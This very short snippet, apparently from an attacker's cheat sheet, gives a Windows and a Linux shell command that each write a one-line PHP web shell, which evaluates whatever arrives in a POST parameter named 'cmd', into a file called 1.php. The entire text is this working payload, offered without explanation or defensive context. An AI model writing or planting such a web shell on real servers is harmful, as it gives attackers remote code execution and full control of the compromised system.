Windows:
echo ^<?php @eval($_POST[cmd]);?^> > ./1.php
Linux
echo "<?php @eval($_POST['cmd']); ?>" > ./1.php